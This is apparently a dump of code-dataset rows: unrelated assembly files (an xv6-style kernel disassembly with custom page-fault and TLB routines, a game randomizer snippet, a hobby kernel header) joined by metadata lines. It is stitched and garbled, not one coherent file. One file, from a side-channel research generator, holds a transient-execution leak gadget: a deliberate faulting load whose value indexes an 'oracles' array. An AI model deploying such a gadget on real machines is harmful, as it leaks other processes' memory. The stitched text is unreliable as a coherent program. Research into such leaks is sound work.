8010831c: 8b 45 f0 mov -0x10(%ebp),%eax
8010831f: 89 04 24 mov %eax,(%esp)
80108322: e8 09 fe ff ff call 80108130 <freevm>
return 0;
80108327: b8 00 00 00 00 mov $0x0,%eax
}
8010832c: 83 c4 44 add $0x44,%esp
8010832f: 5b pop %ebx
80108330: 5d pop %ebp
80108331: c3 ret
80108332 <uva2ka>:
//PAGEBREAK!
// Map user virtual address to kernel address.
char*
uva2ka(pde_t *pgdir, char *uva)
{
80108332: 55 push %ebp
80108333: 89 e5 mov %esp,%ebp
80108335: 83 ec 28 sub $0x28,%esp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80108338: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
8010833f: 00
80108340: 8b 45 0c mov 0xc(%ebp),%eax
80108343: 89 44 24 04 mov %eax,0x4(%esp)
80108347: 8b 45 08 mov 0x8(%ebp),%eax
8010834a: 89 04 24 mov %eax,(%esp)
8010834d: e8 44 f7 ff ff call 80107a96 <walkpgdir>
80108352: 89 45 f4 mov %eax,-0xc(%ebp)
if((*pte & PTE_P) == 0)
80108355: 8b 45 f4 mov -0xc(%ebp),%eax
80108358: 8b 00 mov (%eax),%eax
8010835a: 83 e0 01 and $0x1,%eax
8010835d: 85 c0 test %eax,%eax
8010835f: 75 07 jne 80108368 <uva2ka+0x36>
return 0;
80108361: b8 00 00 00 00 mov $0x0,%eax
80108366: eb 25 jmp 8010838d <uva2ka+0x5b>
if((*pte & PTE_U) == 0)
80108368: 8b 45 f4 mov -0xc(%ebp),%eax
8010836b: 8b 00 mov (%eax),%eax
8010836d: 83 e0 04 and $0x4,%eax
80108370: 85 c0 test %eax,%eax
80108372: 75 07 jne 8010837b <uva2ka+0x49>
return 0;
80108374: b8 00 00 00 00 mov $0x0,%eax
80108379: eb 12 jmp 8010838d <uva2ka+0x5b>
return (char*)p2v(PTE_ADDR(*pte));
8010837b: 8b 45 f4 mov -0xc(%ebp),%eax
8010837e: 8b 00 mov (%eax),%eax
80108380: 25 00 f0 ff ff and $0xfffff000,%eax
80108385: 89 04 24 mov %eax,(%esp)
80108388: e8 4a f2 ff ff call 801075d7 <p2v>
}
8010838d: c9 leave
8010838e: c3 ret
8010838f <copyout>:
// Copy len bytes from p to user address va in page table pgdir.
// Most useful when pgdir is not the current page table.
// uva2ka ensures this only works for PTE_U pages.
int
copyout(pde_t *pgdir, uint va, void *p, uint len)
{
8010838f: 55 push %ebp
80108390: 89 e5 mov %esp,%ebp
80108392: 83 ec 28 sub $0x28,%esp
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
80108395: 8b 45 10 mov 0x10(%ebp),%eax
80108398: 89 45 f4 mov %eax,-0xc(%ebp)
while(len > 0){
8010839b: e9 87 00 00 00 jmp 80108427 <copyout+0x98>
va0 = (uint)PGROUNDDOWN(va);
801083a0: 8b 45 0c mov 0xc(%ebp),%eax
801083a3: 25 00 f0 ff ff and $0xfffff000,%eax
801083a8: 89 45 ec mov %eax,-0x14(%ebp)
pa0 = uva2ka(pgdir, (char*)va0);
801083ab: 8b 45 ec mov -0x14(%ebp),%eax
801083ae: 89 44 24 04 mov %eax,0x4(%esp)
801083b2: 8b 45 08 mov 0x8(%ebp),%eax
801083b5: 89 04 24 mov %eax,(%esp)
801083b8: e8 75 ff ff ff call 80108332 <uva2ka>
801083bd: 89 45 e8 mov %eax,-0x18(%ebp)
if(pa0 == 0)
801083c0: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
801083c4: 75 07 jne 801083cd <copyout+0x3e>
return -1;
801083c6: b8 ff ff ff ff mov $0xffffffff,%eax
801083cb: eb 69 jmp 80108436 <copyout+0xa7>
n = PGSIZE - (va - va0);
801083cd: 8b 45 0c mov 0xc(%ebp),%eax
801083d0: 8b 55 ec mov -0x14(%ebp),%edx
801083d3: 29 c2 sub %eax,%edx
801083d5: 89 d0 mov %edx,%eax
801083d7: 05 00 10 00 00 add $0x1000,%eax
801083dc: 89 45 f0 mov %eax,-0x10(%ebp)
if(n > len)
801083df: 8b 45 f0 mov -0x10(%ebp),%eax
801083e2: 3b 45 14 cmp 0x14(%ebp),%eax
801083e5: 76 06 jbe 801083ed <copyout+0x5e>
n = len;
801083e7: 8b 45 14 mov 0x14(%ebp),%eax
801083ea: 89 45 f0 mov %eax,-0x10(%ebp)
memmove(pa0 + (va - va0), buf, n);
801083ed: 8b 45 ec mov -0x14(%ebp),%eax
801083f0: 8b 55 0c mov 0xc(%ebp),%edx
801083f3: 29 c2 sub %eax,%edx
801083f5: 8b 45 e8 mov -0x18(%ebp),%eax
801083f8: 01 c2 add %eax,%edx
801083fa: 8b 45 f0 mov -0x10(%ebp),%eax
801083fd: 89 44 24 08 mov %eax,0x8(%esp)
80108401: 8b 45 f4 mov -0xc(%ebp),%eax
80108404: 89 44 24 04 mov %eax,0x4(%esp)
80108408: 89 14 24 mov %edx,(%esp)
8010840b: e8 24 cd ff ff call 80105134 <memmove>
len -= n;
80108410: 8b 45 f0 mov -0x10(%ebp),%eax
80108413: 29 45 14 sub %eax,0x14(%ebp)
buf += n;
80108416: 8b 45 f0 mov -0x10(%ebp),%eax
80108419: 01 45 f4 add %eax,-0xc(%ebp)
va = va0 + PGSIZE;
8010841c: 8b 45 ec mov -0x14(%ebp),%eax
8010841f: 05 00 10 00 00 add $0x1000,%eax
80108424: 89 45 0c mov %eax,0xc(%ebp)
{
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
80108427: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
8010842b: 0f 85 6f ff ff ff jne 801083a0 <copyout+0x11>
memmove(pa0 + (va - va0), buf, n);
len -= n;
buf += n;
va = va0 + PGSIZE;
}
return 0;
80108431: b8 00 00 00 00 mov $0x0,%eax
}
80108436: c9 leave
80108437: c3 ret
80108438 <pageFault>:
#define nextIndex(x) ((x+1) %2)
void pageFault(uint *va){
80108438: 55 push %ebp
80108439: 89 e5 mov %esp,%ebp
8010843b: 83 ec 38 sub $0x38,%esp
pte_t *pte, *kpte;
// void * m;
uint *oldVa1, *oldVa2;
oldVa1 =cpu->tlb[cpu->tlbIndex];
8010843e: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80108444: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
8010844b: 8b 92 c8 00 00 00 mov 0xc8(%edx),%edx
80108451: 83 c2 30 add $0x30,%edx
80108454: 8b 04 90 mov (%eax,%edx,4),%eax
80108457: 89 45 f4 mov %eax,-0xc(%ebp)
oldVa2 =cpu->tlb[(cpu->tlbIndex+1)% TLBSZ];
8010845a: 65 8b 0d 00 00 00 00 mov %gs:0x0,%ecx
80108461: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80108467: 8b 80 c8 00 00 00 mov 0xc8(%eax),%eax
8010846d: 8d 50 01 lea 0x1(%eax),%edx
80108470: 89 d0 mov %edx,%eax
80108472: c1 f8 1f sar $0x1f,%eax
80108475: c1 e8 1f shr $0x1f,%eax
80108478: 01 c2 add %eax,%edx
8010847a: 83 e2 01 and $0x1,%edx
8010847d: 29 c2 sub %eax,%edx
8010847f: 89 d0 mov %edx,%eax
80108481: 83 c0 30 add $0x30,%eax
80108484: 8b 04 81 mov (%ecx,%eax,4),%eax
80108487: 89 45 f0 mov %eax,-0x10(%ebp)
// cprintf( "%p %p\n",oldVa1,oldVa2);
if (oldVa1 != 0 ){
8010848a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8010848e: 0f 84 ad 00 00 00 je 80108541 <pageFault+0x109>
pte = walkpgdir( cpu->kpgdir, (void *) oldVa1, 0);
80108494: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010849a: 8b 40 04 mov 0x4(%eax),%eax
8010849d: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
801084a4: 00
801084a5: 8b 55 f4 mov -0xc(%ebp),%edx
801084a8: 89 54 24 04 mov %edx,0x4(%esp)
801084ac: 89 04 24 mov %eax,(%esp)
801084af: e8 e2 f5 ff ff call 80107a96 <walkpgdir>
801084b4: 89 45 ec mov %eax,-0x14(%ebp)
*pte=0;
801084b7: 8b 45 ec mov -0x14(%ebp),%eax
801084ba: c7 00 00 00 00 00 movl $0x0,(%eax)
cpu->tlb[cpu->tlbIndex]=0;
801084c0: 65 a1 00 00 00 00 mov %gs:0x0,%eax
801084c6: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
801084cd: 8b 92 c8 00 00 00 mov 0xc8(%edx),%edx
801084d3: 83 c2 30 add $0x30,%edx
801084d6: c7 04 90 00 00 00 00 movl $0x0,(%eax,%edx,4)
if ( PDX(oldVa2)!= PDX(oldVa1) ){
801084dd: 8b 45 f0 mov -0x10(%ebp),%eax
801084e0: c1 e8 16 shr $0x16,%eax
801084e3: 89 c2 mov %eax,%edx
801084e5: 8b 45 f4 mov -0xc(%ebp),%eax
801084e8: c1 e8 16 shr $0x16,%eax
801084eb: 39 c2 cmp %eax,%edx
801084ed: 74 52 je 80108541 <pageFault+0x109>
// cprintf("here1");
kpte= cpu->kpgdir +PDX(oldVa1);
801084ef: 65 a1 00 00 00 00 mov %gs:0x0,%eax
801084f5: 8b 40 04 mov 0x4(%eax),%eax
801084f8: 8b 55 f4 mov -0xc(%ebp),%edx
801084fb: c1 ea 16 shr $0x16,%edx
801084fe: c1 e2 02 shl $0x2,%edx
80108501: 01 d0 add %edx,%eax
80108503: 89 45 e8 mov %eax,-0x18(%ebp)
if (kpte && (*kpte & PTE_P)){
80108506: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
8010850a: 74 35 je 80108541 <pageFault+0x109>
8010850c: 8b 45 e8 mov -0x18(%ebp),%eax
8010850f: 8b 00 mov (%eax),%eax
80108511: 83 e0 01 and $0x1,%eax
80108514: 85 c0 test %eax,%eax
80108516: 74 29 je 80108541 <pageFault+0x109>
char * v = p2v(PTE_ADDR(*kpte));
80108518: 8b 45 e8 mov -0x18(%ebp),%eax
8010851b: 8b 00 mov (%eax),%eax
8010851d: 25 00 f0 ff ff and $0xfffff000,%eax
80108522: 89 04 24 mov %eax,(%esp)
80108525: e8 ad f0 ff ff call 801075d7 <p2v>
8010852a: 89 45 e4 mov %eax,-0x1c(%ebp)
kfree(v);
8010852d: 8b 45 e4 mov -0x1c(%ebp),%eax
80108530: 89 04 24 mov %eax,(%esp)
80108533: e8 11 a5 ff ff call 80102a49 <kfree>
*kpte=0;
80108538: 8b 45 e8 mov -0x18(%ebp),%eax
8010853b: c7 00 00 00 00 00 movl $0x0,(%eax)
}
}
}
pte = walkpgdir( proc->pgdir, (void *) va, 0);
80108541: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80108547: 8b 40 04 mov 0x4(%eax),%eax
8010854a: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80108551: 00
80108552: 8b 55 08 mov 0x8(%ebp),%edx
80108555: 89 54 24 04 mov %edx,0x4(%esp)
80108559: 89 04 24 mov %eax,(%esp)
8010855c: e8 35 f5 ff ff call 80107a96 <walkpgdir>
80108561: 89 45 ec mov %eax,-0x14(%ebp)
kpte = walkpgdir( cpu->kpgdir, (void *) va, 1);
80108564: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010856a: 8b 40 04 mov 0x4(%eax),%eax
8010856d: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
80108574: 00
80108575: 8b 55 08 mov 0x8(%ebp),%edx
80108578: 89 54 24 04 mov %edx,0x4(%esp)
8010857c: 89 04 24 mov %eax,(%esp)
8010857f: e8 12 f5 ff ff call 80107a96 <walkpgdir>
80108584: 89 45 e8 mov %eax,-0x18(%ebp)
*kpte=*pte;
80108587: 8b 45 ec mov -0x14(%ebp),%eax
8010858a: 8b 10 mov (%eax),%edx
8010858c: 8b 45 e8 mov -0x18(%ebp),%eax
8010858f: 89 10 mov %edx,(%eax)
cpu->tlb[cpu->tlbIndex]=va;
80108591: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80108597: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
8010859e: 8b 92 c8 00 00 00 mov 0xc8(%edx),%edx
801085a4: 8d 4a 30 lea 0x30(%edx),%ecx
801085a7: 8b 55 08 mov 0x8(%ebp),%edx
801085aa: 89 14 88 mov %edx,(%eax,%ecx,4)
cpu->tlbIndex= (cpu->tlbIndex+1)% TLBSZ;
801085ad: 65 8b 0d 00 00 00 00 mov %gs:0x0,%ecx
801085b4: 65 a1 00 00 00 00 mov %gs:0x0,%eax
801085ba: 8b 80 c8 00 00 00 mov 0xc8(%eax),%eax
801085c0: 8d 50 01 lea 0x1(%eax),%edx
801085c3: 89 d0 mov %edx,%eax
801085c5: c1 f8 1f sar $0x1f,%eax
801085c8: c1 e8 1f shr $0x1f,%eax
801085cb: 01 c2 add %eax,%edx
801085cd: 83 e2 01 and $0x1,%edx
801085d0: 29 c2 sub %eax,%edx
801085d2: 89 d0 mov %edx,%eax
801085d4: 89 81 c8 00 00 00 mov %eax,0xc8(%ecx)
}
801085da: c9 leave
801085db: c3 ret
801085dc <flushTLB>:
void flushTLB(){
801085dc: 55 push %ebp
801085dd: 89 e5 mov %esp,%ebp
801085df: 83 ec 28 sub $0x28,%esp
int i;
for( i= 0 ; i< TLBSZ ; i++){
801085e2: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801085e9: e9 88 00 00 00 jmp 80108676 <flushTLB+0x9a>
if (cpu->tlb[i]){
801085ee: 65 a1 00 00 00 00 mov %gs:0x0,%eax
801085f4: 8b 55 f4 mov -0xc(%ebp),%edx
801085f7: 83 c2 30 add $0x30,%edx
801085fa: 8b 04 90 mov (%eax,%edx,4),%eax
801085fd: 85 c0 test %eax,%eax
801085ff: 74 71 je 80108672 <flushTLB+0x96>
pte_t *kpte= (cpu->kpgdir +PDX(cpu->tlb[i]));
80108601: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80108607: 8b 50 04 mov 0x4(%eax),%edx
8010860a: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80108610: 8b 4d f4 mov -0xc(%ebp),%ecx
80108613: 83 c1 30 add $0x30,%ecx
80108616: 8b 04 88 mov (%eax,%ecx,4),%eax
80108619: c1 e8 16 shr $0x16,%eax
8010861c: c1 e0 02 shl $0x2,%eax
8010861f: 01 d0 add %edx,%eax
80108621: 89 45 f0 mov %eax,-0x10(%ebp)
if (kpte && (*kpte & PTE_P)){
80108624: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80108628: 74 35 je 8010865f <flushTLB+0x83>
8010862a: 8b 45 f0 mov -0x10(%ebp),%eax
8010862d: 8b 00 mov (%eax),%eax
8010862f: 83 e0 01 and $0x1,%eax
80108632: 85 c0 test %eax,%eax
80108634: 74 29 je 8010865f <flushTLB+0x83>
char * v = p2v( PTE_ADDR(*kpte) );
80108636: 8b 45 f0 mov -0x10(%ebp),%eax
80108639: 8b 00 mov (%eax),%eax
8010863b: 25 00 f0 ff ff and $0xfffff000,%eax
80108640: 89 04 24 mov %eax,(%esp)
80108643: e8 8f ef ff ff call 801075d7 <p2v>
80108648: 89 45 ec mov %eax,-0x14(%ebp)
kfree(v);
8010864b: 8b 45 ec mov -0x14(%ebp),%eax
8010864e: 89 04 24 mov %eax,(%esp)
80108651: e8 f3 a3 ff ff call 80102a49 <kfree>
*kpte=0;
80108656: 8b 45 f0 mov -0x10(%ebp),%eax
80108659: c7 00 00 00 00 00 movl $0x0,(%eax)
}
cpu->tlb[i]=0;
8010865f: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80108665: 8b 55 f4 mov -0xc(%ebp),%edx
80108668: 83 c2 30 add $0x30,%edx
8010866b: c7 04 90 00 00 00 00 movl $0x0,(%eax,%edx,4)
}
void flushTLB(){
int i;
for( i= 0 ; i< TLBSZ ; i++){
80108672: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80108676: 83 7d f4 01 cmpl $0x1,-0xc(%ebp)
8010867a: 0f 8e 6e ff ff ff jle 801085ee <flushTLB+0x12>
}
}
memset(cpu->kpgdir, 0, PGSIZE/2);
80108680: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80108686: 8b 40 04 mov 0x4(%eax),%eax
80108689: c7 44 24 08 00 08 00 movl $0x800,0x8(%esp)
80108690: 00
80108691: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80108698: 00
80108699: 89 04 24 mov %eax,(%esp)
8010869c: e8 c4 c9 ff ff call 80105065 <memset>
}
801086a1: c9 leave
801086a2: c3 ret
| 37.774898 | 74 | 0.539345 |
686607eda618b40ede28067023f122b447cd0ae3 | 50 | asm | Assembly | experiments/demo/checker.asm | phlo/concubine | 2a3bc9474878951aef54e8c7b6c47c5b4ac02fb1 | [
"MIT"
] | null | null | null | experiments/demo/checker.asm | phlo/concubine | 2a3bc9474878951aef54e8c7b6c47c5b4ac02fb1 | [
"MIT"
] | null | null | null | experiments/demo/checker.asm | phlo/concubine | 2a3bc9474878951aef54e8c7b6c47c5b4ac02fb1 | [
"MIT"
] | null | null | null | CHECK 0
ADD 0
ADD 1
JZ error
EXIT 0
error: EXIT 1
| 7.142857 | 13 | 0.72 |
c67b89db4ce82682e63d3e3759bb89335943ff91 | 5,826 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_21493_493.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_21493_493.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_21493_493.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r15
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x560b, %r12
sub %r13, %r13
mov (%r12), %r8d
nop
nop
and $26262, %rbp
lea addresses_WT_ht+0xe20b, %r8
dec %r11
mov (%r8), %r15
nop
dec %rbp
lea addresses_UC_ht+0x415b, %r11
nop
nop
nop
add $63049, %r12
movb (%r11), %r15b
nop
nop
nop
xor %r15, %r15
lea addresses_UC_ht+0x7cdb, %rsi
lea addresses_normal_ht+0x1de17, %rdi
dec %r12
mov $91, %rcx
rep movsl
and $30185, %rcx
lea addresses_UC_ht+0xfc5b, %rdi
nop
nop
nop
sub %r12, %r12
mov $0x6162636465666768, %rsi
movq %rsi, (%rdi)
nop
nop
nop
nop
nop
add $14466, %r11
lea addresses_normal_ht+0x317b, %r13
add $55114, %rbp
movb $0x61, (%r13)
nop
nop
xor $7982, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r15
push %r9
push %rax
push %rdi
push %rdx
// Load
lea addresses_D+0xc4b3, %rax
and %r13, %r13
movb (%rax), %dl
nop
nop
nop
nop
sub $28490, %rdx
// Store
mov $0x35a98900000000bb, %r15
nop
nop
xor %r14, %r14
mov $0x5152535455565758, %rdx
movq %rdx, %xmm6
vmovups %ymm6, (%r15)
// Exception!!!
nop
nop
nop
nop
mov (0), %rdx
sub $58701, %r14
// Faulty Load
lea addresses_UC+0x13e5b, %r15
nop
nop
inc %rax
mov (%r15), %di
lea oracles, %rdx
and $0xff, %rdi
shlq $12, %rdi
mov (%rdx,%rdi,1), %rdi
pop %rdx
pop %rdi
pop %rax
pop %r9
pop %r15
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'00': 21493}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 40.741259 | 2,999 | 0.655338 |
01c4f5244d7b664603293b6adfa309679ba1dceb | 342 | asm | Assembly | invertedstatic.asm | Catobat/z3randomizer | e82f01ae2f81cfcf2ddd334a93df4a8f953878fb | [
"MIT"
] | 26 | 2018-12-19T03:33:19.000Z | 2021-08-07T19:47:06.000Z | invertedstatic.asm | Catobat/z3randomizer | e82f01ae2f81cfcf2ddd334a93df4a8f953878fb | [
"MIT"
] | 26 | 2019-02-01T05:38:23.000Z | 2022-01-20T21:25:39.000Z | invertedstatic.asm | Catobat/z3randomizer | e82f01ae2f81cfcf2ddd334a93df4a8f953878fb | [
"MIT"
] | 32 | 2018-12-18T13:54:33.000Z | 2022-01-25T23:38:48.000Z | ;Statically mapped at $A1A000 Referenced by the front end. Do not move without coordination.
InvertedTileAttributeLookup:
SEP #$20
LDA $8A : CMP.b #$47 : BEQ .turtleRock
LDA Overworld_TileAttr, X
JML.l Overworld_GetTileAttrAtLocation_continue
.turtleRock
LDA Inverted_TR_TileAttributes, X
JML.l Overworld_GetTileAttrAtLocation_continue
| 34.2 | 92 | 0.821637 |
a0dfe07560e9ac69d596065f04e5cba1edbb2aa3 | 13,383 | asm | Assembly | src/bin/OS/bluekernel/kernel/mechanism/pc/kernel_pc.asm | stanman29/c_lang_project | b93a7028d7a491ff5668f3ac930e06b193a210e8 | [
"MIT"
] | 1 | 2021-02-19T09:18:51.000Z | 2021-02-19T09:18:51.000Z | src/bin/OS/bluekernel/kernel/mechanism/pc/kernel_pc.asm | stanman29/c_lang_project | b93a7028d7a491ff5668f3ac930e06b193a210e8 | [
"MIT"
] | null | null | null | src/bin/OS/bluekernel/kernel/mechanism/pc/kernel_pc.asm | stanman29/c_lang_project | b93a7028d7a491ff5668f3ac930e06b193a210e8 | [
"MIT"
] | null | null | null | ; -------------------------------------------------------------------------------------------------
; kernel_pc.asm
; This file contains support routines for the kernel C code.
;
; This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0
; International License. To view a copy of this license, visit
; http://creativecommons.org/licenses/by-nc-nd/4.0/
; or send a letter to Creative Commons, PO Box 1866, Mountain View, CA 94042, USA.
;
; Also see http://www.bluekernel.com.au
;
; copyright Paul Cuttler 2017
; -------------------------------------------------------------------------------------------------
;; Documentation annotations:
;; @A web_mec_pc_intro_ia32 Kernel Mechanism Initialisation Code
;; @E web_mec_pc_resources_exceptions Resource Mechanism Exception Code
;; @T web_mec_pc_memory_tlb2 Flushing the TLB
;;;;;; Kernel low level mechanisms ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
global LockBus,UnlockBus,ReloadGDT,LoadTaskRegister,Flush
global In8,Out8, In16, Out16, In32, Out32
;;;;;; Hardware interrupt handlers ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
global HwInt0,HwInt1,HwInt2,HwInt3,HwInt4,HwInt5,HwInt6,HwInt7,HwInt8
global HwInt9,HwInt10,HwInt11,HwInt12,HwInt13,HwInt14,HwInt15
;;;;;; Exception handlers ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
global DivideErrorExc, SingleStepExc, NmiExc, BpExc, OverflowExc, BoundsCheckExc
global InvalidOpcodeExc, CoCpuExc, DoubleFaultExc, CoCpuOverrunExc
global InvalidTssExc, SegNotPresentExc, StackExc, GenProtectionExc
global PageFaultExc, CoCpuErrorExc
;;;;;; Kernel policy-level functions: ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
extern Interrupt
extern Exception
;;;;;; Kernel policy-level functions for System Calls.
extern Send,Receive,ScheduleCall,AddProcessCall,RemoveProcessCall,AddThreadCall
extern RemoveThreadCall,GetProcessCall,SetProcessCall
extern AddResource,RemoveResource
;extern Read8,Write8,Read16,Write16,Read32,Write32
extern AddPageCall, MapPageCall, GrantPageCall, UnmapPageCall
;;;;;; Call Gate entry points for system calls ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
global SendGate,ReceiveGate,ScheduleGate,AddProcessGate,RemoveProcessGate
global AddThreadGate,RemoveThreadGate,GetProcessGate, SetProcessGate
global AddResourceGate,RemoveResourceGate
;global Read8Gate,Write8Gate,Read16Gate, Write16Gate,Read32Gate,Write32Gate
